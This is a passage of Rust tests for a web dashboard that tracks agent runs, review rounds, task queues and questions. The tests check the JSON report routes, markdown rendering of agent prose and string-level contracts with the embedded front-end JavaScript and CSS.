11391        let path = f.runs().join(id).join("run.json");
11392        let mut v: serde_json::Value =
11393            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11394        v["tally"] = serde_json::json!({
11395            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
11396            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
11397            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
11398            "met_quorum": false, "rankings": 1
11399        });
11400        v["reviews"] = serde_json::json!([{
11401            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
11402            "e2e_deferred": true,
11403            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
11404                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
11405            ]}]
11406        }]);
11407        std::fs::write(&path, v.to_string()).unwrap();
11408        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
11409        std::fs::write(
11410            f.runs().join("20260902-140502-dead").join("run.json"),
11411            "{not json",
11412        )
11413        .unwrap();
11414
11415        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
11416
11417        assert_eq!(res.status, 200, "{}", res.body);
11418        assert!(res.headers.contains("content-type: application/json"));
11419        let j = res.json();
11420        assert_eq!(j["schema"], 1);
11421        assert_eq!(j["header"]["id"], id);
11422        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
11423        let kinds: Vec<&str> = j["sections"]
11424            .as_array()
11425            .unwrap()
11426            .iter()
11427            .map(|s| s["kind"].as_str().unwrap())
11428            .collect();
11429        assert_eq!(kinds, ["candidates", "tally", "review"]);
11430        let tally = &j["sections"][1]["tally"];
11431        assert_eq!(
11432            (tally["decided"].clone(), tally["provisional"].clone()),
11433            (false.into(), true.into())
11434        );
11435        let round = &j["sections"][2]["rounds"][0];
11436        assert_eq!(round["e2e"]["state"], "deferred");
11437        assert_eq!(round["findings"][0]["severity"], "major");
11438        assert_eq!(round["findings"][0]["blocking"], true);
11439        assert_eq!(round["findings"][0]["state"], "open");
11440
11441        // The raw route keeps working beside it.
11442        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
11443
11444        // An unreadable run is an error, as on the text route, and is counted.
11445        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
11446        assert_ne!(bad.status, 200, "{}", bad.body);
11447        assert_eq!(
11448            bad.status,
11449            f.get("/api/runs/20260902-140502-dead/report").await.status
11450        );
11451        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
11452        assert_eq!(
11453            f.get("/api/runs/20260902-999999-ffff/report.json")
11454                .await
11455                .status,
11456            404
11457        );
11458    }
11459
11460    #[tokio::test]
11461    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
11462        let f = Fixture::start().await;
11463
11464        let html = f.get("/").await;
11465        let css = f.get("/app.css").await;
11466        let js = f.get("/app.js").await;
11467
11468        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
11469        assert!(
11470            html.headers
11471                .contains("content-type: text/html; charset=utf-8")
11472        );
11473        assert!(css.headers.contains("content-type: text/css"));
11474        assert!(js.headers.contains("content-type: text/javascript"));
11475        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
11476    }
11477
11478    #[test]
11479    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
11480        let body = |name: &str| {
11481            let at = APP_JS
11482                .find(name)
11483                .unwrap_or_else(|| panic!("{name} missing"));
11484            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11485        };
11486        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
11487        let note = body("function landRoundNote");
11488        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
11489        assert!(note.contains("Land round ${round}"));
11490        let land = body("function renderLand");
11491        let note_at = land
11492            .find("landRoundNote(pr)")
11493            .expect("renderLand uses the note");
11494        assert!(
11495            note_at
11496                < land
11497                    .find("roundRail(pr)")
11498                    .expect("renderLand uses the rail")
11499        );
11500    }
11501
11502    #[test]
11503    fn the_runs_page_redesign_keeps_its_guards() {
11504        let body = |name: &str| {
11505            let at = APP_JS
11506                .find(name)
11507                .unwrap_or_else(|| panic!("{name} missing"));
11508            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
11509        };
11510        // A null child must never reach the native append (it prints "null").
11511        let land = body("function renderLand");
11512        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
11513        assert!(
11514            !land.contains("box.append("),
11515            "renderLand must use append()"
11516        );
11517        assert!(land.contains("append(box, ["));
11518        // Tabs are hash routes; the run id alone decides a reload.
11519        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
11520        assert!(
11521            body("function applyRoute")
11522                .contains("route.name !== state.route.name || route.id !== state.route.id")
11523        );
11524        // The decorative diagram is gone, the strip and its guards stay.
11525        assert!(!APP_JS.contains("adviseConvergeDiagram"));
11526        assert!(!INDEX_HTML.contains("advise-converge"));
11527        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
11528        assert!(APP_JS.contains("provisional"));
11529        for id in [
11530            "run-tab-overview",
11531            "run-tab-timeline",
11532            "run-tab-report",
11533            "run-report",
11534            "runs-scope",
11535        ] {
11536            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
11537        }
11538        assert!(!INDEX_HTML.contains("runs-tree"));
11539        assert!(!INDEX_HTML.contains("run-raw-panel"));
11540        // Fold still says it cannot be resumed.
11541        assert!(APP_JS.contains("resume"));
11542        // The unreadable-runs count stays on the page.
11543        assert!(APP_JS.contains("unreadable"));
11544    }
11545
11546    #[test]
11547    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
11548        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
11549        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
11550        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
11551        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
11552        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
11553        // The subtitle still counts them whatever the banner does.
11554        assert!(APP_JS.contains("unreadable` : null"));
11555    }
11556
11557    #[test]
11558    fn the_run_detail_payload_says_whether_the_run_is_done() {
11559        // `landView` reads `run.done`; the detail response must carry it.
11560        for (status, done) in [
11561            (RunStatus::Superseded, true),
11562            (RunStatus::Blocked, true),
11563            (RunStatus::Landing, false),
11564        ] {
11565            let mut state = RunState::new(
11566                std::path::PathBuf::from("/repo"),
11567                "main".to_owned(),
11568                "abc".to_owned(),
11569                "x".to_owned(),
11570                crate::config::Config::default(),
11571            );
11572            state.status = status;
11573            let v = serde_json::to_value(RunDetailView::of(
11574                state,
11575                crate::run::Liveness::Unknown,
11576                None,
11577                None,
11578                None,
11579            ))
11580            .unwrap();
11581            assert_eq!(v["done"], done, "{status:?}");
11582        }
11583    }
11584
11585    /// The first node of a markdown block holds a `strong` somewhere.
11586    fn has_strong(nodes: &[md::Node]) -> bool {
11587        serde_json::to_string(nodes).unwrap().contains("strong")
11588    }
11589
11590    #[test]
11591    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
11592        let mut state = RunState::new(
11593            std::path::PathBuf::from("/repo"),
11594            "main".to_owned(),
11595            "abc".to_owned(),
11596            "x".to_owned(),
11597            crate::config::Config::default(),
11598        );
11599        let proposal = |approach: &str| {
11600            serde_json::json!({
11601                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
11602            })
11603        };
11604        state.advice = Some(
11605            serde_json::from_value(serde_json::json!({
11606                "records": [
11607                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
11608                     "proposal": proposal("do **this**")},
11609                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
11610                ],
11611                "synthesis": "- one\n- **two**\n\n`code`",
11612            }))
11613            .unwrap(),
11614        );
11615        state.candidates = serde_json::from_value(serde_json::json!([
11616            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
11617             "summary": "did **it**"},
11618            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
11619        ]))
11620        .unwrap();
11621        // Recorded in ascending severity, the reverse of how the page sorts
11622        // them: the arrays must follow the record, not the display.
11623        state.reviews = serde_json::from_value(serde_json::json!([{
11624            "round": 1, "head": "h",
11625            "reviews": [{
11626                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
11627                "findings": [
11628                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
11629                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
11630                ],
11631            }],
11632            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
11633            "fix": {"agent": "a", "notes": "fixed **it**",
11634                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
11635        }, {"round": 2, "head": "h2", "reviews": []}]))
11636        .unwrap();
11637
11638        let v = serde_json::to_value(RunDetailView::of(
11639            state,
11640            crate::run::Liveness::Unknown,
11641            None,
11642            None,
11643            None,
11644        ))
11645        .unwrap();
11646
11647        let strong = |p: &str| {
11648            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
11649            assert!(n.to_string().contains("strong"), "{p}: {n}");
11650        };
11651        strong("/advice_md/synthesis");
11652        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
11653        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
11654        strong("/advice_md/approaches/0");
11655        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
11656        strong("/candidate_summaries_md/0");
11657        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
11658        strong("/reviews_md/0/reviewers/0/summary");
11659        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
11660        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
11661        assert!(f[1].to_string().contains("strong"));
11662        strong("/reviews_md/0/reconsideration/0");
11663        strong("/reviews_md/0/fix/notes");
11664        strong("/reviews_md/0/fix/rejected/0");
11665        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
11666        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
11667        // The raw strings stay, and no schema moved.
11668        assert_eq!(v["candidates"][0]["summary"], "did **it**");
11669        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
11670    }
11671
11672    #[test]
11673    fn a_run_without_advice_has_no_advice_md() {
11674        let state = RunState::new(
11675            std::path::PathBuf::from("/repo"),
11676            "main".to_owned(),
11677            "abc".to_owned(),
11678            "x".to_owned(),
11679            crate::config::Config::default(),
11680        );
11681        let p = run_prose_md(&state);
11682        assert!(p.advice_md.is_none());
11683        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
11684    }
11685
11686    #[test]
11687    fn a_question_view_carries_markdown_for_each_thread_turn() {
11688        let home = TempDir::new().unwrap();
11689        let store = ask::Questions::at(home.path().join("questions"));
11690        let mut q = Question::new(
11691            "run".to_owned(),
11692            "implement".to_owned(),
11693            "impl-A".to_owned(),
11694            "which?".to_owned(),
11695            String::new(),
11696            Vec::new(),
11697        );
11698        q.say("plain words").unwrap();
11699        q.reply("use **this**", Vec::new()).unwrap();
11700        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
11701        let bodies = &v["thread_bodies_md"];
11702        assert_eq!(bodies.as_array().unwrap().len(), 2);
11703        assert!(!bodies[0].to_string().contains("strong"));
11704        assert!(bodies[1].to_string().contains("strong"));
11705    }
11706
11707    #[test]
11708    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11709        // The land panel defers to `run.status` for merged, and labels a
11710        // recorded-open PR on any finished run (superseded, blocked, ...) as
11711        // last seen, never as live state.
11712        assert!(APP_JS.contains("function landView(run, raw) {"));
11713        assert!(
11714            APP_JS.contains(
11715                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11716            )
11717        );
11718        assert!(APP_JS.contains("const pr = landView(run, raw);"));
11719        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11720        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11721        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11722    }
11723
11724    #[test]
11725    fn live_runs_are_never_hidden_or_folded_as_superseded() {
11726        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
11727        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11728        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11729        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11730    }
11731
11732    #[test]
11733    fn review_rounds_label_a_distinct_verified_head() {
11734        assert!(APP_JS.contains("round.verified_head"));
11735        assert!(APP_JS.contains("verified HEAD"));
11736        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11737    }
11738
11739    #[test]
11740    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11741        // A blocked task's chip and note must not fall back to a queued-like
11742        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
11743        // itself by e11fc58 but never checked here.
11744        assert!(APP_JS.contains("blocked: { glyph:"));
11745        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11746
11747        // `blocked_by` mixes task ids and question ids in the same list, and
11748        // the client can only tell them apart by checking each id against
11749        // what it actually knows - never by guessing from the id's shape.
11750        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11751        assert!(
11752            APP_JS.contains(
11753                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11754            ),
11755            "the note line must name what a blocked task is waiting on, not just that it is blocked"
11756        );
11757        // The classification must key off `status_str`, never off `blocked_by`
11758        // or `block_reason` merely being present - both can survive briefly
11759        // on a task a hold or a dead daemon just moved off `blocked`.
11760        assert!(APP_JS.contains("if (status === \"blocked\") {"));
11761
11762        // A question a task is blocked on gets its own node in the same
11763        // dependency graph, not just a task-shaped node with nothing known
11764        // about it.
11765        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
11766        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
11767        assert!(
11768            APP_JS.contains("location.hash = \"#/questions\";"),
11769            "a question node must jump to the Questions screen, not pretend to be a task"
11770        );
11771
11772        // `Task::answers` - decisions already made - are shown as a record on
11773        // the card, the same disclosure style as the full instruction.
11774        assert!(APP_JS.contains("Resolved questions"));
11775        assert!(APP_JS.contains("r.answersList.append("));
11776        assert!(APP_CSS.contains(".task-answers"));
11777        {
11778            let start = APP_JS
11779                .find("function updateTalkTaskRow")
11780                .expect("updateTalkTaskRow");
11781            let body = &APP_JS[start..];
11782            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
11783            assert!(
11784                body.contains(
11785                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
11786                ),
11787                "a chat-filed task row must link to the task page"
11788            );
11789            assert!(
11790                !body.contains("#/runs/") && !body.contains("#/queue/"),
11791                "the row must not branch to a run or the queue card"
11792            );
11793            assert!(APP_CSS.contains(".talk-task-link"));
11794        }
11795    }
11796
11797    #[test]
11798    fn a_task_notification_links_to_the_task_page() {
11799        // A task notice opens the task detail page, not the Backlog card.
11800        let start = APP_JS
11801            .find("function noticeLink(")
11802            .expect("noticeLink exists");
11803        let body = &APP_JS[start..];
11804        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
11805        assert!(
11806            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
11807            "a task notice's link must target the task page"
11808        );
11809        assert!(
11810            !body.contains("#/queue/"),
11811            "regression: the task link must not go back to the Backlog route"
11812        );
11813        assert!(
11814            APP_JS.contains(
11815                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
11816            ),
11817            "`#/tasks/<id>` must parse into the task route"
11818        );
11819
11820        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
11821        assert!(
11822            APP_JS.contains(
11823                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
11824            ),
11825            "`#/queue/<id>` must parse into a route carrying that id"
11826        );
11827
11828        // And the Backlog view has to actually land on the card once it can
11829        // - see consumeQueueFocus(), which renderQueue() calls on every pass
11830        // so a focus set before the queue has loaded is retried once it has.
11831        assert!(APP_JS.contains("state.queueFocus = route.id;"));
11832        assert!(APP_JS.contains("function consumeQueueFocus()"));
11833        assert!(APP_JS.contains("jumpToTask(id)"));
11834    }
11835
11836    /// Chat rows are two lines at every width: the title alone, then the
11837    /// shrinkable secondary info.
11838    #[test]
11839    fn chat_rows_put_the_title_alone_on_the_first_line() {
11840        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
11841        assert!(APP_CSS.contains(
11842            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
11843        ));
11844        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
11845        assert!(APP_JS.contains("class: \"badge talk-unread\""));
11846    }
11847
11848    #[test]
11849    fn run_rows_put_the_title_alone_on_the_first_line() {
11850        assert!(
11851            APP_CSS.contains(
11852                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
11853            )
11854        );
11855        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
11856        assert!(APP_JS.contains("class: \"card run-card\""));
11857        assert!(APP_JS.contains("class: \"repo run-id\""));
11858    }
11859
11860    /// Wide screens get a master/detail layout built from the views a phone
11861    /// drills into. These are string assertions: they pin the contract between
11862    /// the three assets, not how it looks.
11863    #[test]
11864    fn wide_screens_show_list_and_preview_side_by_side() {
11865        // One breakpoint, spelled the same in the script and the stylesheet.
11866        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
11867        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
11868        assert!(APP_CSS.contains("main[data-split]"));
11869        assert!(APP_CSS.contains("body[data-split]"));
11870
11871        // The route -> panes table, and a narrow screen opting out of it.
11872        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
11873        assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
11874        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
11875        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
11876        assert!(INDEX_HTML.contains("id=\"split-empty\""));
11877
11878        // Selection is derived from the route, and only ever paints a row.
11879        assert!(APP_JS.contains("function markSelected() {"));
11880        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
11881        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
11882        // The dense row must override the stacked card the 720px block sets up.
11883        assert!(
11884            APP_CSS.contains(
11885                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
11886            )
11887        );
11888
11889        // Independent scrolling: the page stops scrolling, each pane does.
11890        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
11891        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
11892        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
11893        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
11894
11895        // A refresh must never navigate: the loaders still check that their
11896        // subject is the one on screen, and crossing the breakpoint only
11897        // re-reads the hash.
11898        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
11899        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
11900        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
11901        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
11902
11903        // The panel sandbox and its CSP are untouched by any of this.
11904        assert!(APP_JS.contains("sandbox: \"\""));
11905        assert!(!APP_JS.contains("sandbox: \"allow"));
11906    }
11907
11908    #[test]
11909    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
11910        // consumeQueueFocus() clears an active Backlog search before it can
11911        // scroll to the target card (the sections list is hidden while a
11912        // search is showing), by recursing back into renderQueue(). The
11913        // fixer's first cut nulled state.queueFocus before that recursive
11914        // call, so the second pass saw nothing to jump to and the jump was
11915        // silently dropped whenever a notification's link was opened with a
11916        // stale search still active. state.queueFocus must only be cleared
11917        // right before jumpToTask() actually runs.
11918        assert!(
11919            APP_JS.contains(
11920                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
11921            ),
11922            "the search-clearing branch must run before state.queueFocus is cleared, or the \
11923             recursive renderQueue() call has nothing left to jump to"
11924        );
11925        assert!(
11926            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
11927            "state.queueFocus must be cleared only once the jump has landed, so a card that \
11928             arrives later still gets it"
11929        );
11930        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
11931        assert!(APP_JS.contains("is not in the current Backlog."));
11932        assert!(APP_JS.contains("li.card[data-task-id=\""));
11933        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
11934        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
11935        assert!(APP_CSS.contains(".card-permalink"));
11936        assert!(APP_CSS.contains(".queue-focus-status"));
11937        assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
11938    }
11939
11940    #[test]
11941    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
11942        // The task's own repro: only the link text inside .notice-meta was
11943        // clickable, so a tap on the message, the timestamp, or the card's
11944        // padding did nothing - on a phone that reads as "the card doesn't
11945        // work" even though the tiny link inside it did. Mark read / Dismiss
11946        // must keep working independently of this: `.closest("a, button")`
11947        // is what lets a tap that actually lands on those elements fall
11948        // through instead of being hijacked into a navigation.
11949        assert!(
11950            APP_JS.contains(
11951                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
11952            ),
11953            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
11954        );
11955    }
11956
11957    #[test]
11958    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
11959        assert!(
11960            APP_JS.contains("round.verified_head !== round.head"),
11961            "a round that verified an earlier commit must be visibly distinct from one that \
11962             verified the head reviewers are looking at now"
11963        );
11964        assert!(
11965            APP_JS.contains("round.verified_at"),
11966            "when a check ran must be on the wire, not just which commit"
11967        );
11968        assert!(
11969            APP_JS.contains("resource_blocked"),
11970            "a command magi never got to run (shared build cache contention) must not render \
11971             the same as a command that ran and failed"
11972        );
11973    }
11974
11975    #[test]
11976    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
11977        // Every KPI tile but Total runs and Completion names an exact
11978        // RunStatus and hands it to openRunsFiltered(), which is what wires
11979        // the click into state.runsFilter.status (matchesFilter's own
11980        // status check) rather than the coarser runsStateFilter chips. Each
11981        // status literal here must be one of the strings runSection() (and
11982        // isStale()) actually compare a run's own `status` field against -
11983        // a status this dashboard invented would filter to nothing.
11984        assert!(
11985            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
11986            "every KPI tile built through statusTile() must route its click through \
11987             openRunsFiltered, the single place that sets the Runs filter"
11988        );
11989        for (label, status) in [
11990            ("Merged", "merged"),
11991            ("Ready", "ready"),
11992            ("Blocked", "blocked"),
11993            ("Stalled", "stalled"),
11994        ] {
11995            let call = format!("statusTile(\"{label}\", t.{status}, ");
11996            assert!(
11997                APP_JS.contains(&call),
11998                "expected the {label} KPI tile built via {call}..."
11999            );
12000            assert!(
12001                APP_JS.contains(&format!("status === \"{status}\"")),
12002                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12003                 compare a run against, not one invented only for the stats tile"
12004            );
12005        }
12006        assert!(
12007            APP_JS.contains("function openRunsFiltered(status)"),
12008            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12009        );
12010        assert!(
12011            APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
12012            "matchesFilter must gate on the exact status a KPI tile named"
12013        );
12014        // applyRoute() only flips which view is visible for a plain `#runs`
12015        // hash - it does not itself redraw the list (see applyRoute's own
12016        // handling below) - so openRunsFiltered must call renderRuns()
12017        // itself, and must call applyRoute() too so the view flips even
12018        // when the hash string doesn't change (the operator may already be
12019        // on the Runs view when a tile is tapped, which fires no
12020        // hashchange event at all).
12021        assert!(
12022            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
12023            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12024             hashchange event that may never fire"
12025        );
12026    }
12027
12028    #[test]
12029    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12030        // A stats tile can leave state.runsFilter.status set to something
12031        // done-by-construction (e.g. "merged") - picking "Active" afterward
12032        // must drop it the same way an incompatible tree section is already
12033        // dropped, or the Runs list renders permanently empty with no way
12034        // for the operator to tell why.
12035        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12036        assert!(
12037            APP_JS.contains(
12038                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
12039            ),
12040            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12041             guard for an incompatible tree section"
12042        );
12043    }
12044
12045    #[test]
12046    fn every_stats_queue_tile_names_a_real_queue_section() {
12047        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
12048        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
12049        // (consumeQueueSectionFocus finds no matching <details> and drops
12050        // the focus) rather than fail loudly, so pin every key against the
12051        // section list it has to resolve against.
12052        assert!(
12053            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12054            "every queue tile built through sectionTile() must route its click through \
12055             openQueueSectionFocus"
12056        );
12057        for key in ["upnext", "running", "done", "held", "blocked"] {
12058            assert!(
12059                APP_JS.contains(&format!("{{ key: \"{key}\",")),
12060                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12061            );
12062        }
12063        // Queued and Failed intentionally both resolve to "upnext" - the
12064        // same section queueSection() itself files them under - rather than
12065        // getting a section each.
12066        for line in [
12067            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12068            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12069            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12070            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12071            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12072            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12073        ] {
12074            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12075        }
12076    }
12077
12078    #[test]
12079    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12080        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
12081        // above for the section-focus channel a stats queue tile drives:
12082        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
12083        // through the stale-search-clear recursion into renderQueue(), and
12084        // clear it only once revealQueueSection() is actually about to run -
12085        // the same trap that once silently dropped a task-focus jump.
12086        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12087        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12088        assert!(APP_JS.contains("function revealQueueSection(details)"));
12089        assert!(
12090            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
12091            "renderQueue() must consume both focus channels on every pass"
12092        );
12093        assert!(
12094            APP_JS.contains(
12095                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
12096            ),
12097            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12098             the recursive renderQueue() call has nothing left to reveal"
12099        );
12100        assert!(
12101            APP_JS.contains(
12102                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
12103            ),
12104            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12105        );
12106        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
12107        // task-focus form of the hash - a plain `#queue` navigation only
12108        // flips which view is visible. openQueueSectionFocus() must
12109        // therefore call renderQueue() itself, and applyRoute() too so the
12110        // view flips even when the hash doesn't change (the Backlog may
12111        // already be open when a tile is tapped, firing no hashchange
12112        // event at all).
12113        assert!(
12114            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
12115            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12116             hashchange event that may never fire"
12117        );
12118    }
12119
12120    #[tokio::test]
12121    async fn the_change_stream_announces_the_current_revisions_on_connect() {
12122        let f = Fixture::start().await;
12123
12124        let mut socket = tokio::net::TcpStream::connect(f.addr)
12125            .await
12126            .expect("connect");
12127        socket
12128            .write_all(
12129                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12130            )
12131            .await
12132            .expect("write request");
12133
12134        // Read until the first event arrives rather than to end of stream: the
12135        // stream is endless by design, which is the point of the route.
12136        let mut seen = String::new();
12137        let mut buf = [0u8; 1024];
12138        while !seen.contains("event: change") {
12139            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12140                .await
12141                .expect("the stream must speak within five seconds")
12142                .expect("read");
12143            assert!(read > 0, "the server closed the change stream: {seen}");
12144            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12145        }
12146
12147        assert!(
12148            seen.to_lowercase()
